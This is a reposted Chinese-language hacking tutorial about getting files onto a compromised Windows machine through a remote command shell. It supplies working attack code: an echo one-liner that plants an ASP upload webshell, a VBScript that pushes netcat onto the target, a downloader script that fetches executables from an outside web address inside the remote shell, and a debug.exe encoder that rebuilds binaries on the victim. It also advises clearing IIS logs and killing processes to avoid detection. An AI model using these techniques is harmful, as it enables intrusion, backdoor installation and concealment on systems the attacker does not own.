註:以下文章非本人撰寫為中國大陸網路轉載文章,並經本人整理。
來源:Cmd模式下的入侵技术大全<黑客该有的技术>
作者:HMC
##CONTINUE##
註:為免版面凌亂[----]中間所包夾的範圍為指令或程式碼。
前言:
Cmd Shell(命令列介面)是駭客永恆的話題,它歷史悠久並且長盛不衰。
本文旨在介紹和總結一些在命令列下控制Windows系統的方法。這些方法都是盡可能地利用系統內建的工具實現的。
檔案傳輸篇:
對於溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由於蠕蟲病毒流行,連接ipc$所需要的139或445埠被防火牆封鎖。再加上WinXP系統加強了對ipc$的保護,通過ipc$及預設分享上傳檔案的手段基本上無效了。ftp和tftp是兩種可行的方法,由於其已被大家所熟知,本文就不另做介紹了。還有三種大家熟悉的辦法:
1:用Echo命令寫ASP木馬。
前提當然是目標主機上已經安裝了IIS。一般的ASP木馬"體積"較大,不適合直接用echo命令寫入檔,這裡我提供一個小巧的。直接給出echo版:
--------------------------------------------------------------------
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
--------------------------------------------------------------------
注意:該語法只有一行,中間沒有斷行。
其所生成的up.asp不能用瀏覽器瀏覽,只能用下面這個Script查看:
--------------------------------------------------------------------
with wscrīpt
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscrīpt.echo .statustext
end with
--------------------------------------------------------------------
將其保存為up.vbs。假設目標IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的檔為nc.exe,上傳後保存為mm.exe,相對應的命令是:
--------------------------------------------------------------------
cscrīpt up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
--------------------------------------------------------------------
注意,這個命令是在本地命令列模式中執行的,不要弄錯了。另外,通過IIS上傳會留下LOG,駭客會清除。
2:自動下載到網頁暫存區中。
例如:start its:http://www.sometips.com/soft/ps.exe
在遠端shell中執行上面這個命令後,ps.exe已經下載到目標主機的網頁暫存區目錄中了。然後:
--------------------------------------------------------------------
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
--------------------------------------------------------------------
於是獲得ps.exe的具體位置(每台主機都不一樣),例如:
--------------------------------------------------------------------
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
2004-01-24 14:24 49,152 ps[1].exe
1 個檔 49,152 位元組
--------------------------------------------------------------------
最後:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe
補充說明:
對於以服務為啟動方式的後門所提供的shell,其用戶身份一般是System。此時網頁暫存區目錄的位置就如範例中所示。如果shell的身份不是System,需要修改Default User為相應的使用者帳號名稱。
本方法會啟動一個IE程序,記得要將它殺掉。如果是System身份的shell,不會在本地出現視窗而暴露行蹤。
3:Echo一個Script下載web資源。
現成的工具是iGet.vbs。我再給出一個含必要容錯功能的版本。
仍然是echo版:
--------------------------------------------------------------------
@echo with wscrīpt:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
--------------------------------------------------------------------
舉例:下載ps.exe並保存到c:\path下:
--------------------------------------------------------------------
cscrīpt dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
--------------------------------------------------------------------
注意:這是在遠端shell中執行的。
4:Echo經過編碼的任何檔,再用腳本+debug還原。
前面兩個辦法都不能保證穿過防火牆。而且,除非自己架設Web伺服器,一般的Web資源都是以壓縮檔的形式提供。如果目標主機沒有解壓工具,還是沒轍。那麼只有出"殺手鐧"了!
echo命令加從定向操作符號可以寫入ASCII碼小於128的字元,但大於等於128的不行。只有將本地檔重新"編碼"為可顯示的字元,才能方便地寫入遠端主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支援該位元操作,因此編碼和解碼較複雜。
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果編碼腳本:
--------------------------------------------------------------------
fp=wscrīpt.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scrīpting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscrīpt.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscrīpt //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
--------------------------------------------------------------------
將其保存為echo.vbs。假設要上傳nc.exe,那麼在本地命令列輸入命令:
cscrīpt echo.vbs nc.exe
也可以直接把要傳輸的檔的圖示拖放到指令檔的圖示上。
稍等一會兒,在目前的目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內容:
--------------------------------------------------------------------
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
............
............(省略若干行)
............
@echo +"">>debug.vbs
@echo with wscrīpt.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscrīpt //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
--------------------------------------------------------------------
全選-->複製-->切換到遠端命令列視窗-->貼上。
如果網路不是很慢的話,整個上傳過程大約需要20秒。
幾點說明:
1:大的檔案傳輸不穩定,可能會使shell死掉。所以檔越小效果越好。建議原文件不要超過100KB。
2:在傳輸大檔前,可以先傳個小的檔作為"熱身",讓16位虛擬機器ntvdm.exe駐留後臺。所有檔傳完後,為隱蔽起見,應該把ntvdm程序殺掉。
3:某些cmd shell每個命令都需要附加兩個Enter,那nc.exe.bat就不能直接用了。
4:單行命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對於nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字元為這個數乘以2。
5:解碼過程沒有Script參與也是可以的。使用Script的目的是減少傳輸的資料量(因為壓縮了資料)。
能上傳檔案當然一切都好辦了,但很多操作用Windows內建的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身就提供的。
--------------------------------------------------------------------
相關連結:
Cmd模式下的入侵:註冊表、服務和群組原則篇
Cmd模式下的入侵:網路配置篇